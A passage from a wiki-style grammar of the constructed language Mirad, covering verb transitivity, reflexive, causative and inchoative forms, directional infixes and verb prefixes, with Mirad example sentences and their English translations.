::* '''Ha amar &lt;u&gt;yapaye&lt;/u&gt;.'''....''The sun &lt;u&gt;has risen&lt;/u&gt; [INTRANSITIVE].''


=== Marking -jer Verbs for Transitivity ===

: Note the following verbs, whose stems end in '''j''' are hard to pronounce with intransitive '''s''' and transitive '''x''', so these two endings are placed with '''p''' and '''b''', respectively, although the presence of the '''p''' is optional, i.e. it's presence or absence can slightly change the meaning from static to dynamic, eg. '''tujer'''....''to sleep'' vs. '''tujper'''....''to fall asleep''.  The transitive forms can be either active or passive.

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Marking -jer Verbs for Transitivity
|-
! colspan=2|Intransitive !! colspan=2|Transitive
|-
! Static !! Dynamic !! Active !! Passive
|-
| '''Ha mes &lt;u&gt;yija&lt;/u&gt;'''&lt;br&gt;''The door &lt;u&gt;opened&lt;/u&gt;.'' || '''Ha nasyef &lt;u&gt;yijpa&lt;/u&gt;'''&lt;br&gt;''The purse &lt;u&gt;came open&lt;/u&gt;.'' || '''At &lt;u&gt;yijba&lt;/u&gt; ha mes.'''&lt;br&gt;''I &lt;u&gt;opened&lt;/u&gt; the door.'' || '''Ha mes &lt;u&gt;yijbwa&lt;/u&gt; bey yelput.'''&lt;br&gt;''The door &lt;u&gt;was opened&lt;/u&gt; by an intruder''
|-
| '''Ha mes &lt;u&gt;yuja&lt;/u&gt;.'''&lt;br&gt;''The door &lt;u&gt;closed&lt;/u&gt;.'' || '''Ha yanup &lt;u&gt;yujpa&lt;/u&gt;.'''&lt;br&gt;''The meeting &lt;u&gt;adjourned&lt;/u&gt;.'' || '''At &lt;u&gt;yujba&lt;/u&gt; ha mes.'''&lt;br&gt;''I &lt;u&gt;closed&lt;/u&gt; the door.''||'''Ha mes yeyfe &lt;u&gt;yujbwer&lt;/u&gt; ja sumjob.'''&lt;br&gt;''The door should &lt;u&gt;be closed&lt;/u&gt; by bedtime.''
|-
| '''Ha dezun &lt;u&gt;ijaye&lt;/u&gt;.'''&lt;br&gt;''The play &lt;u&gt;has started&lt;/u&gt;.''||'''Ha par &lt;u&gt;ijpa&lt;/u&gt; boy poys.'''&lt;br&gt;''The car &lt;u&gt;started up&lt;/u&gt; immediately.'' ||'''At &lt;u&gt;ijba&lt;/u&gt; ata tyal.'''&lt;br&gt;''I &lt;u&gt;started&lt;/u&gt; my meal.''||'''Ha tyal &lt;u&gt;ijbwa&lt;/u&gt; jwa.'''&lt;br&gt;''The meal &lt;u&gt;was started&lt;/u&gt; early.''
|-
| '''Ha dezun &lt;u&gt;ujaye&lt;/u&gt;.'''&lt;br&gt;''The play has &lt;u&gt;ended&lt;/u&gt;.''||'''Ata yex &lt;u&gt;ujpaye&lt;/u&gt;.'''&lt;br&gt;''My work &lt;u&gt;has come to an end&lt;/u&gt;.'' || '''A &lt;u&gt;ujba&lt;/u&gt; ha dyes.'''&lt;br&gt;''I &lt;u&gt;finished&lt;/u&gt; the book.''||'''Ha dyes hyoj &lt;u&gt;ujbwa&lt;/u&gt;.'''&lt;br&gt;''The book never &lt;u&gt;got finished&lt;/u&gt;.''
|-
| '''Ha tob &lt;u&gt;toja&lt;/u&gt; zomoj.'''&lt;br&gt;''The man &lt;u&gt;died&lt;/u&gt; yesterday evening.''||'''Ha tob &lt;u&gt;tojpa&lt;/u&gt;.'''&lt;br&gt;''The man &lt;u&gt;dropped dead.&lt;/u&gt;'' || '''Hot &lt;u&gt;tojba&lt;/u&gt; ha twob?'''&lt;br&gt;''Who &lt;u&gt;killed&lt;/u&gt; the man?''||'''Ha twob &lt;u&gt;tojbwa&lt;/u&gt; bey ita tayd.'''&lt;br&gt;''The man &lt;u&gt;was killed&lt;/u&gt; by his wife.''
|-
| '''&lt;u&gt;Teju&lt;/u&gt;.'''&lt;br&gt;''&lt;u&gt;Live!&lt;/u&gt;.''||'''&lt;u&gt;Tejpu!&lt;/u&gt;.'''&lt;br&gt;''&lt;u&gt;Come alive!&lt;/u&gt;.'' || '''Yat efe &lt;u&gt;tejber&lt;/u&gt; ha twob.'''&lt;br&gt;''We need to &lt;u&gt;revive&lt;/u&gt; the man.''||'''Ha twob yofwa &lt;u&gt;tejbwer&lt;/u&gt;.'''&lt;br&gt;''The man could not &lt;u&gt;be revived&lt;/u&gt;.''
|-
| '''Ha tobot &lt;u&gt;taja&lt;/u&gt; zojub.'''&lt;br&gt;''The baby &lt;u&gt;was born&lt;/u&gt; yesterday.'' || '''Hoj ha tobot &lt;u&gt;tajpo&lt;/u&gt;?'''&lt;br&gt;''When &lt;u&gt;will&lt;/u&gt; the baby &lt;u&gt;pop out&lt;/u&gt;?'' || '''Iyt &lt;u&gt;tajba&lt;/u&gt; awa twobot zojub.'''&lt;br&gt;''She &lt;u&gt;gave birth&lt;/u&gt; to a baby boy yesterday.''||'''Ha twobot &lt;u&gt;tajbwa&lt;/u&gt; jo eymoj.'''&lt;br&gt;''The baby boy was &lt;u&gt;birthed&lt;/u&gt; after midnight.''
|-
| '''At &lt;u&gt;tija&lt;/u&gt; jwe.'''&lt;br&gt;''I &lt;u&gt;woke up&lt;/u&gt; on time.''||'''It voy &lt;u&gt;tijpa&lt;/u&gt;.'''&lt;br&gt;''He did not &lt;u&gt;come to.&lt;/u&gt;.'' || '''At &lt;u&gt;tijbo&lt;/u&gt; et jwa.'''&lt;br&gt;''I will &lt;u&gt;wake (you) up&lt;/u&gt; early.''||'''At voy fe &lt;u&gt;tijbwo&lt;/u&gt; gra jwa.'''&lt;br&gt;''I don't want to &lt;u&gt;be woken&lt;/u&gt; too early.''
|-
| '''At &lt;u&gt;tujeya&lt;/u&gt;.'''&lt;br&gt;''I was &lt;u&gt;sleeping.&lt;/u&gt;''||'''At &lt;u&gt;tujpeya&lt;/u&gt;.'''&lt;br&gt;''I was &lt;u&gt;falling sleep&lt;/u&gt;.'' || '''At &lt;u&gt;tujbo&lt;/u&gt; it.'''&lt;br&gt;''I will &lt;u&gt;put (him) to sleep.&lt;/u&gt;.''||'''Ha tobot &lt;u&gt;tujbwo&lt;/u&gt; glojo.'''&lt;br&gt;''The baby &lt;u&gt;will be put to sleep&lt;/u&gt; soon.''
|}

== Reflexive Verbs ==
[[File:TWC Hokitika Gorge • Stewart Nimmo • MRD 1.jpg|thumb|]]
: Reflexive verbs, where the object refers back to the subject, work just as in English, where the object is a reflexive pronoun, eg.:

::* '''At tujboye aut.'''....''I am going to kill myself.''
::* '''Tru eut!'''....''Know thyself!''
::* '''It gobla iut bey goblar.'''....''He cut himself with a knife.''
::* '''Ot yefe yuxer out.'''....''One must help oneself.''

: Sometimes, verbs are reflexive lexically and incorporate the reflexivity in the actual verb form using '''ut''' as the prefix:

::* '''uttujber'''....''commit suicide (= self-kill)''
::* '''utboler'''....''support oneself (= self-support)''
::* '''utdider'''....''wonder (= self-ask)''

: Sometimes, verbs are used reflexively in Mirad even though they are used simply intransitively in English, eg.:

::* '''Et efe &lt;u&gt;vyilxer eut&lt;/u&gt;.'''....''You need to wash up [= &lt;u&gt;wash yourself&lt;/u&gt;].'' (or)
::* '''Et efe &lt;u&gt;utvyilxer&lt;/u&gt;.'''....''You need to wash up  [= &lt;u&gt;self-wash&lt;/u&gt;].''

== Omission of Prepositions After Certain Verbs ==

:: Some verbs inherently incorporate a preposition and so it is not necessary to use that assumed preposition before what would normally be an indirect object.

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Inherent Propositions
|-
! Preposition-Incorporating Verb !! Example
|-
| '''per'''....''go (to)'' || '''Pu tam!''' (Not: '''Pu bu tam!''') ''Go home.''&lt;br&gt;'''It pa Paris.'''....''He went to Paris.''
|-
| '''der'''....''say (to), tell'' || '''Du at eta dyun.'''....''Tell me your name.''&lt;br&gt;'''Du at has.'''....''Tell it to me.''
|-
| '''peser'''....''wait (for)'' || '''Pesu at.'''....''Wait for me.''
|-
| '''buer'''....''give (to)'' || '''Buu at hua dyes.'''....''Give me that book.''
|}

:: As in English, in omitting the inherent preposition in a sentence with both a direct object and an indirect object, place the indirect object before the direct object. If the direct object comes first, then the preposition must be overtly specified before the indirect object, eg. '''Buu &lt;u&gt;at&lt;/u&gt; hus.'''....''Give me that.'' or '''Buu hus &lt;u&gt;bu at&lt;/u&gt;.'''....''Give that &lt;u&gt;to me&lt;/u&gt;.''  See more about this in the chapter on [[Mirad_Grammar/Syntax|Syntax]].

== Causative vs. Inchoative Verbs ==
: A causative verb has the sense ''to make something have some quality'', whereas an inchoative verbs means ''to become or take on the quality of something.''

=== Derived from Adjectives ===

: Adjectives can be converted into transitive/causative and intransitive/inchoative verbs.  Causative verbs are always transitive (taking an object), while inchoative verbs are intransitive (not taking an object).  English causative / inchoative verbs often end in ''-ify'' like ''magnify'', or ''-ate'', ''liberate'', or ''ize'', like ''sensitize''.

: To derive a causative verb from an adjective, add the suffix '''-xer'''....''to do'' to either the stem or the whole adjective (with the '''a''' ending).  Whether you do the former or the latter depends on several factors, but the end result is slightly different in nuance.  A verb with adjective stem + '''-xer''' is slightly more idiomatic or less literal than the adjective stem + '''axer'''.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ -axer vs -xer in Transitive Verbs
|-
! Adjective !! Causative/Transitive !! Causative/Transitive
|-
! '''-xer''' !! Literal !! Idiomatic
|-
| '''aga'''&lt;br&gt;''big'' || '''ag&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to magnify'' || '''agxer'''&lt;br&gt;''to grow''
|-
| '''ana'''&lt;br&gt;''one'' || '''an&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to unify'' || '''anxer'''&lt;br&gt;''to unite''
|-
| '''yona'''&lt;br&gt;''apart'' || '''yon&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to separate'' || '''yonxer'''&lt;br&gt;''to cut''
|-
| '''yaga'''&lt;br&gt;''long'' || '''yag&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to lengthen'' || '''yagxer'''&lt;br&gt;''to stretch''
|-
| '''yuga'''&lt;br&gt;''slow'' || '''yug&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to retard'' || '''yugxer''' &lt;br&gt;''to brake''
|-
| '''sana'''&lt;br&gt;''formal'' || '''san&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to formalize'' || '''sanxer'''&lt;br&gt;''to form''
|-
| '''gea'''&lt;br&gt;''equal'' || '''ge&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to equalize'' || '''gexer'''&lt;br&gt;''to equal, equate''
|-
| '''jaa'''&lt;br&gt;''prior'' || '''ja&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to prioritize'' || '''jaxer'''&lt;br&gt;''to prepare''
|-
| '''aota'''&lt;br&gt;''personal'' || '''aot&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to personalize'' || '''aotxer'''&lt;br&gt;''to personify''
|}

: To derive an inchoative verb from an adjective, add the suffix '''ser'''....''to be'' to either the stem or the whole adjective.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Creating Inchoative Verbs
|-
! Adjective !! Inchoative/Intransitive !! Inchoative/Intransitive
|-
! '''-ser''' !! Literal !! Idiomatic
|-
| '''aga'''&lt;br&gt;''big'' || '''ag&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to get bigger'' || '''agser'''&lt;br&gt;''to grow''
|-
| '''ana'''&lt;br&gt;''one'' || '''an&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to unify'' || '''anser'''&lt;br&gt;''to unite, become united''
|-
| '''yona'''&lt;br&gt;''apart'' || '''yon&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to become separate'' || '''yonser'''&lt;br&gt;''to break''
|-
|}
: Be careful to use the transitive, causative verb form when you have a direct object, and the intransitive, inchoative verb form when no direct objects are present or possible, eg.:
::* '''&lt;u&gt;Ansu&lt;/u&gt; ey yet golxwo.'''....''&lt;u&gt;Unite&lt;/u&gt; or you will be divided.'' [INTRANSITIVE]
::* '''At &lt;u&gt;yontadsa&lt;/u&gt; hoj at sa eta jag.'''....''I &lt;u&gt;got divorced&lt;/u&gt; when I was your age.'' [INTRANSITIVE]
::* '''Hisi &lt;u&gt;agaxo&lt;/u&gt; hos et teate.'''....''These &lt;u&gt;will magnify&lt;/u&gt; what you see.'' [TRANSITIVE]
::* '''Hia tud &lt;u&gt;agseye&lt;/u&gt; ig.'''....''This child &lt;u&gt;is growing up&lt;/u&gt; fast.'' [INTRANSITIVE]
::* '''Ata tayd &lt;u&gt;agxe&lt;/u&gt; vosi be oyebzom.'''....''My wife &lt;u&gt;grows&lt;/u&gt; flowers out back.'' [TRANSITIVE]

=== Derived from Nouns ===

: Transitive/causative/active and intransitive/inchoative/passive verbs can also be formed from nouns.  The sense of the former is ''to make be X'' and of the latter, ''to become X''.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verbs Derived from Nouns
|-
! Noun !! Transitive/Causative/Active !! Intransitive/Inchoative/Passive
|-
| '''mog'''....''ash'' || '''mogxer'''&lt;br&gt;''to incinerate'' || '''mogser'''&lt;br&gt;''to become ashes''
|-
| '''yan'''....''collection'' || '''yanxer'''&lt;br&gt;''to collect'' || '''yanser'''&lt;br&gt;''to get together''
|-
| '''tad'''....''spouse'' || '''tadxer'''&lt;br&gt;''to marry'' || '''tadser'''&lt;br&gt;''to get married''
|-
| '''yom'''....''ice'' || '''yomxer'''&lt;br&gt;''to freeze/make ice'' || '''yomser'''&lt;br&gt;''to freeze/become ice''
|-
| '''mag'''....''fire'' || '''magxer'''&lt;br&gt;''to burn, set fire to'' || '''magser'''&lt;br&gt;''to burn, get burned''
|-
| '''uk'''....''void'' || '''ukxer'''&lt;br&gt;''to empty'' || '''ukser'''&lt;br&gt;''become empty, empty out''
|}

=== Intermediary Causative Verbs ===

: Intermediary verbal causatives like ''have/get my car washed'', ''make/force him go'', ''get one's hair cut'' are formed by suffixing the causative verb infix '''-ux-''' (active) or '''uxw''' (passive) to the stem of the verb signifying the action to be arranged or caused by someone other than the subject, eg.:

::* '''At gobl&lt;u&gt;ux&lt;/u&gt;o ata tayeb zajub.'''....''I will get my hair cut tomorrow.''
::* '''Et voy yafe p&lt;u&gt;ux&lt;/u&gt;er at.'''....''You cannot make me go.''
::* '''Wit tojb&lt;u&gt;ux&lt;/u&gt;a yit.'''....''He had them killed.''
::* '''At efe vyilx&lt;u&gt;ux&lt;/u&gt;er ata pur.'''....''I need to have my car washed.''
::* '''Et up&lt;u&gt;ux&lt;/u&gt;wa him av hes.'''....''You were made to come here for some reason.''
::* '''At bakamb&lt;u&gt;ux&lt;/u&gt;o et.'''....''I will have you hospitalized.''
::* '''Et voy yafe deuz&lt;u&gt;ux&lt;/u&gt;er at.'''....''You cannot make me sing.''
::* '''At hihid&lt;u&gt;ux&lt;/u&gt;wa.'''....''I was tickled (= made to laugh).''
::* '''Eta deuz hihid&lt;u&gt;ux&lt;/u&gt;a yat.'''....''Your song tickled us. (= Made us laugh.)''
::* '''Van het ivas&lt;u&gt;ux&lt;/u&gt;u weti.'''....''May someone get you guys to be happy.''
::* '''Hua enzyukpur uzp&lt;u&gt;ux&lt;/u&gt;a yata pur.'''....''That motorcycle caused our car to veer.''

== Subject-directed vs. Patient-directed Verbs ==
: The directionality of some verbs can be distinguished by the verbal formant infix '''-i-''' for an action or motion toward the speaker and '''-u-''' for an action or motion away from the speaker toward some patient, eg.:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Directional Verbs
|-
! Subject-directed !! Patient-directed
|-
| '''b&lt;u&gt;i&lt;/u&gt;er'''....''to take'' || '''b&lt;u&gt;u&lt;/u&gt;er'''....''to give''
|-
| '''nier'''....''to consume'' || '''nuer'''....''to supply''
|-
| '''nyier'''....''to order'' || '''nyuer'''....''to deliver''
|-
| '''nazunier'''....''win a prize'' || '''nazunuer'''....''award a prize''
|-
| '''noysier'''....''pay off'' || '''noysuer'''....''charge''
|-
| '''ojbier'''....''borrow'' || '''ojbuer'''....''lend''
|-
| '''tadier'''....''get married'' || '''taduer'''....''marry off''
|-
| '''papier'''....''take flight'' || '''papuer'''....''send off flying''
|-
| '''pipier'''....''set sail'' || '''pipuer'''....''dock''
|-
| '''simbier'''....''take a seat'' || '''simbuer'''....''offer a seat''
|-
| '''tampier'''....''leave home'' || '''tampuer'''....''arrive home''
|-
| '''tamier'''....''settle in'' || '''tamuer'''....''shelter''
|-
| '''nuxbier'''....''to buy'' || '''nixbuer'''....''to sell''
|-
| '''telier'''....''to eat'' || '''teluer'''....''to feed''
|-
| '''gonbier'''....''to participate'' || '''gonbuer'''....''to share''
|-
| '''tilier'''....''to drink'' || '''tiluer'''....''to ply with drink''
|-
| '''teubier'''....''to swallow'' || '''teubuer'''....''to spit out''
|-
| '''teatier'''....''to observe, watch'' || '''teatuer'''....''to show''
|-
| '''taxier'''....''to memorize'' || '''taxuer'''....''to remind''
|-
| '''alier'''....''to breathe in'' || '''aluer'''....''to breathe out, expire''
|-
| '''ilier'''....''to absorb'' || '''iluer'''....''to pour''
|-
| '''ifier'''....''to enjoy'' || '''ifuer'''....''to please''
|-
| '''dier'''....''to ask'' || '''duer'''....''to suggest''
|-
| '''tier'''....''to learn'' || '''tuer'''....''to inform''
|-
| '''pier'''....''to depart'' || '''puer'''....''to arrive''
|-
| '''kebier'''....''to choose'' || '''kebuer'''....''to distribute''
|-
| '''byier'''....''to originate'' || '''byuer'''....''to target''
|-
| '''mempier'''....''to take off'' || '''mempuer'''....''to land''
|-
| '''sinier'''....''visualize'' || '''sinuer'''....''display''
|-
| '''xier'''....''to result'' || '''xuer'''....''to cause''
|-
| '''yifier'''....''to get up the courage'' || '''yifuer'''....''to encourage, challenge''
|-
| '''yafonier'''....''to gain power'' || '''yafonuer'''....''to empower''
|-
| '''trier'''....''to become acquainted with'' || '''truer'''....''to acquaint with, introduce to''
|-
| '''tepzexier'''....''to draw attention'' || '''tepzexuer'''....''to focus attention on''
|-
| '''yekier'''....''to undertake'' || '''yekuer'''....''to challenge''
|-
| '''dyunier'''....''to assume the name of'' || '''dyunuer'''....''to bestow the name of''
|-
| '''abfinier'''....''to take advantage of'' || '''abfinuer'''....''to favor''
|}

: In some cases, the directionality can be both ways in a verb, in which case the verb formant infix '''-ui-''' (a hybrid form) is used, eg.:
::* '''nunier '''....''to purchase'' (subject-directed)
::* '''nunuer'''....''to sell'' (patient-directed)
::* '''nunuier'''....''to trade'' (subject &amp; patient-directed)

::* '''tier'''....''to learn, realize'' (subject-directed)
::* '''tuer'''....''to inform, tip off'' (patient-directed)
::* '''tuier'''....''to communicate'' (subject &amp; patient-directed)
::* '''ebtuier'''....''to intercommunicate''

::* '''alier'''....''to breathe in, inhale'' (subject-directed)
::* '''aluer'''....''to breathe out, exhale'' (patient-directed)
::* '''aluier'''....''to breathe, respire'' (subject &amp; patient-directed)

::* '''bier '''....''to take'' (subject-directed)
::* '''buer'''....''to give'' (patient-directed)
::* '''buier'''....''to give and take, exchange'' (subject &amp; patient-directed)

== Bi-radical Verbs ==
: Some verbs are formed using two verb roots together.  Here are some examples:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Bi-radical Verbs
|-
! Verb Root 1 !! Verb Root 2 !! Bi-radical Verb
|-
| '''nuxer'''....''to pay'' || '''bier'''....''to take'' || '''nuxbier'''....''to buy''
|-
| '''nixer'''....''to earn'' || '''buer'''....''to give'' || '''nixbuer'''....''to sell''
|-
| '''kexer'''....''to seek'' || '''bier'''....''to take'' || '''kexbier'''....''to choose''
|-
| '''uper'''....''to come'' || '''dier'''....''to ask'' || '''updier'''....''to invite''
|-
| '''teater'''....''to see'' || '''der'''....''to tell'' || '''teader'''....''to testify''
|-
| '''teeter'''....''to hear'' || '''drer'''....''to write'' || '''teadrer'''....''to report''
|-
| '''teater'''....''to see'' || '''per'''....''to go'' || '''teaper'''....''to visit''
|-
| '''texer'''....''to think'' || '''der'''....''to say'' || '''texder'''....''to mention''
|-
| '''kexer'''....''to seek'' || '''pixer'''....''to catch'' || '''kexpixer'''....''to hunt''
|-
| '''yeker'''....''to try'' || '''teexer'''....''to listen'' || '''yekteexer'''....''to try (in court)''
|}

== Verbs with Vectorial Prefixes ==

: Prepositions and directional adverbs can be prefixed to verbs in order to change their vectorial semantics. A preposition ending in '''b''' will assimilate by losing the '''b''' before the verb '''per'''....''to go'' or the verb '''ber'''.  This assimilation does not occur for other verbs beginning with '''b''' such as '''byexer''' (''to hit''). A preposition ending in '''b''' will, however, assimilate (lose the '''b''') before any verb bases beginning with a '''p'''. For example, '''ab''' (''on'') + '''bexer''' (''to hold'') = '''obbexer''' (''to hold on''), because '''obexer''' could be interpreted as ''to release''.  Here are some examples:

:{| class=&quot;wikitable sortable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verb Prepositional Prefixes
|-
! Preposition/Adverb !!  Transitive Verb !! Intransitive Verb
|-
| '''ab'''....''on'' || '''aber'''....''apply''&lt;br&gt;not '''abber'''! || '''aper'''....''get on''&lt;br&gt;not '''abper'''!
|-
| '''ob'''....''off'' || '''ober'''....''remove'' || '''oper'''....''get off, dismount''
|-
| '''ab'''....''off'' || '''abbaxrer'''....''to rub on'' || '''apyexer'''....''to attack''
|-
| '''eb'''....''between'' || '''eber'''....''block'' || '''eper'''....''intervene''
|-
| '''eb'''....''between'' || '''ebdrayefser'''....''to interleave'' || '''ebdrafxer'''....''to interleave''
|-
| '''ub'''....''toward'' || '''uber'''....''to send'' || '''uper'''....''to come''
|-
| '''ub'''....''toward'' || '''ubbixer'''...''to attract'' || '''upixer'''....''to pitch toward''
|-
| '''yab'''....''up'' || '''yaber'''....''raise'' || '''yaper'''....''rise''
|-
| '''yob'''....''down'' || '''yober'''....''take down'' || '''yoper'''....''descend''
|-
| '''yub'''....''near'' || '''yuber'''....''bring near'' || '''yuper'''....''approach''
|-
| '''yib'''....''far'' || '''yiber'''....''take away'' || '''yiper'''....''go far away''
|-
| '''yeb'''....''in'' || '''yeber'''....''insert'' || '''yeper'''....''enter''
|-
| '''yeb'''....''in''  || '''yepuxer'''....''throw in'' || '''yepuser'''....''jump in''
|-
| '''oyeb'''....''out'' || '''oyeber'''....''expose'' || '''oyeper'''....''exit''
|-
| '''oyeb'''....''out'' || '''oyebbuxer'''....''expel'' || '''oyepuxer'''....''eject''
|-
| '''zyu'''....''round''  || '''zyuber'''....''rotate'' || '''zyuper'''....''revolve''
|-
| '''zya'''....''throughout'' || '''zyaber'''....''spread'' || '''zyaper'''....''tour''
|-
| '''av'''....''for'' || '''avdaler'''....''plead'' || '''avper'''....''pursue''
|-
| '''ov'''....''against'' || '''ovber'''....''oppose'' || '''ovper'''....''countervene''
|-
| '''yan'''....''together'' || '''yanber'''....''compose'' || '''yanper'''....''meet''
|-
| '''yon'''....''apart'' || '''yonber'''....''separate'' || '''yonper'''....''separate''
|-
| '''iz'''....''direct'' || '''izber'''....''lead'' || '''izper'''....''head''
|-
| '''uz'''....''curved'' || '''uzber'''....''divert'' || '''uzper'''....''diverge''
|-
| '''yuz'''....''around'' || '''yuzber'''....''surround'' || '''yuzper'''....''circulate''
|-
| '''yiz'''....''beyond'' || '''yizber'''....''transfer'' || '''yizper'''....''surpass''
|-
| '''zoy'''....''back, re-'' || '''zoyber'''....''return'' || '''zoyper'''....''go back''
|}

== Other Semantics-altering Verb Prefixes ==
: As in English and many other languages, prefixes can be used on verbs to reverse, mitigate, or otherwise alter the semantics:

=== Expressing ''re-'' with '''zoy-''' or '''gaw-''' ===
: The prefix '''zoy-'''....''back'' or '''gaw-&lt;sup&gt;1&lt;/sup&gt;'''....''again''  are used like the English prefix ''re-'', eg.:

::* '''ember'''....''to position'' → '''&lt;u&gt;zoy&lt;/u&gt;-ember'''....''to &lt;u&gt;re&lt;/u&gt;position, &lt;u&gt;re&lt;/u&gt;place''
::* '''buer'''....''to give'' → '''&lt;u&gt;zoy&lt;/u&gt;buer'''....''to &lt;u&gt;re&lt;/u&gt;turn (an object), give back''
::* '''sanxer'''....''to shape, form'' → '''&lt;u&gt;zoy&lt;/u&gt;sanxer'''....''to &lt;u&gt;re&lt;/u&gt;shape, &lt;u&gt;re&lt;/u&gt;form, &lt;u&gt;trans&lt;/u&gt;form''
::* '''zyauber'''....''to broadcast'' → '''gawzyauber'''....''to re-broadcast''
::* '''taja'''....''born'' → '''gawtaja'''....''reborn''
::* '''aber'''....''to apply'' → '''gawaber'''....''to reapply''
::* '''teaper'''....''to visit'' → '''&lt;u&gt;gaw&lt;/u&gt;teaper'''....''to &lt;u&gt;re&lt;/u&gt;visit''
::* '''uper'''....''to come'' → '''&lt;u&gt;zoy&lt;/u&gt;-uper&lt;sup&gt;2&lt;/sup&gt;'''....''to &lt;u&gt;re&lt;/u&gt;turn, come &lt;u&gt;back&lt;/u&gt;''
::* '''buxer'''....''to push'' → '''&lt;u&gt;zoy&lt;/u&gt;buxer'''....''to &lt;u&gt;re&lt;/u&gt;pel, push &lt;u&gt;back&lt;/u&gt;''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zoy&lt;/u&gt;puxer'''....''to &lt;u&gt;re&lt;/u&gt;ject, throw &lt;u&gt;back&lt;/u&gt;, jettison''
: Note 1:  The prefix '''gaw-''' before a consonant is pronounced like the ''gaw'' in the English word ''gawk''.  It is short for '''ga awa jod''' or '''gawa''' meaning ''one more time, again''.  If the &quot;re-&quot; word means ''to do something again'', then '''gaw-''' is used, eg. ''To reconvene'' ( = ''meet again'')....'''gawyanuper'''  If the sense of ''back'' is intended, than the prefix '''zoy-''' is used, eg. ''To return'' ( = ''come back'')....'''zoyuper'''. Both prefixes are used in the expression ''Come back again!''....'''Gawzoy-upu!'''.
: Note 2: The prefix '''zoy''' is followed by a hyphen to make it clear that the prepositon is '''zoy''', not '''zo''' and that the base verb is '''uper''' (''come''), not '''yuper''' (''to approach'').

:''Until we meet again'' or ''au revoir'' is expressed by '''Ju gawyanup.'''

=== Expressing ''de-, dis-, un-'' with '''lo-''' ===
: The prefix '''lo-''' reverses the semantics of a verb and is like English ''dis-'', ''de-'', or ''un-'', eg.:

::* '''sexer'''....''to build, construct'' → '''&lt;u&gt;lo&lt;/u&gt;sexer'''....''to &lt;u&gt;de&lt;/u&gt;stroy, &lt;u&gt;de&lt;/u&gt;construct''
::* '''anxer'''....''to unite'' → '''&lt;u&gt;lo&lt;/u&gt;anxer'''....''to &lt;u&gt;dis&lt;/u&gt;unite''
::* '''xer'''....''to do'' → '''&lt;u&gt;lo&lt;/u&gt;xer'''....''to &lt;u&gt;un&lt;/u&gt;do''

: Note the difference between '''o-''' and '''lo-'''.

::* '''odoparuwa'''....''&lt;u&gt;un&lt;/u&gt;armed'' (= ''not armed'')
::* '''lodoparuwa'''....''&lt;u&gt;dis&lt;/u&gt;armed'' (= from the verb '''lodoparuer'''....''to disarm'')

=== Expressing ''co-'' with '''yan-''' ===
: The prefix '''yan-'''....''together'' is used as the English ''co-'', eg.:

::* '''exer'''....''to operate'' → '''&lt;u&gt;yan&lt;/u&gt;exer'''....''to &lt;u&gt;co&lt;/u&gt;operate''
::* '''tamer'''....''to dwell'' → '''&lt;u&gt;yan&lt;/u&gt;tamer'''....''to &lt;u&gt;co&lt;/u&gt;habit''
::* '''napber'''....''to put in order'' → '''&lt;u&gt;yan&lt;/u&gt;napber'''....''to &lt;u&gt;co&lt;/u&gt;ordinate''

=== Making Verbs Completive with '''ik-''' ===
: Verbs can be made completive or perfective by prefixing them with '''ik-''' (''fully'').  Such verbs are comparable to phrasal verbs in English with ''up'' and other prepositions as in ''to eat up''.  Here are some examples in Mirad:
::* '''tojber'''....''to kill'' → '''iktojber'''....''to kill off, exterminate''
::* '''telier'''....''to eat'' → '''iktelier'''....''to eat up''
::* '''ujber'''....''to finish'' → '''ikujber'''....''to finish off/up''
::* '''gofler'''....''to rip'' → '''ikgofler'''....''to rip up''
::* '''drer'''....''to write'' → '''ikdrer'''....''to write down''
::* '''byexer'''....''to beat'' → '''ikbyexer'''....''to beat up''
::* '''agser'''....''to grow'' → '''ikagser'''....''to grow up''

=== Making Verbs Continuative with '''je-''' ===
: Verbs can be given a continuative nuance with the addition of the prefix '''je-''':
::* '''daler'''....''to talk'' → '''jedalar'''....''to go on talking, to blabber''
::* '''tejer'''....''to live'' → '''jetejer'''....''to go on living, to survive''
::* '''yexer'''....''to work'' → '''jeyexer'''....''to go on working, to keep working''
::* '''teaxer'''....''to look'' → '''jeteaxer'''....''to watch''
::* '''teexer'''....''to listen'' → '''jeteexer'''....''to keep listening, to pay attention''
::* '''duler'''....''to insist'' → '''jeduler'''....''to nag''

=== Making Verbs Inchoative with '''ij-''' ===
: Verbs can be given an inchoative nuance with the addition of the prefix '''ij-''':
::* '''texer'''....''to think'' → '''ijtexer'''....''to start to think''
::* '''ifier'''....''to enjoy'' → '''ijifier'''....''to start liking''
::* '''trer'''....''to know'' → '''ijtrer'''....''to get to know''
::* '''baxer'''....''to stir'' → '''ijbaxer'''....''to instigate''
::* '''byaxer'''....''to erect'' → '''ijbyaxer'''....''to establish, to institute''
::* '''dezer'''....''to perform'' → '''ijdezer'''....''to premier, to debut''
::* '''eser'''....''to exist'' → '''ijeser'''....''to come about''
::* '''kaxer'''....''to find'' → '''ijkaxer'''....''to invent''
::* '''magxer'''....''to burn'' → '''ijmagxer'''....''to kindle''
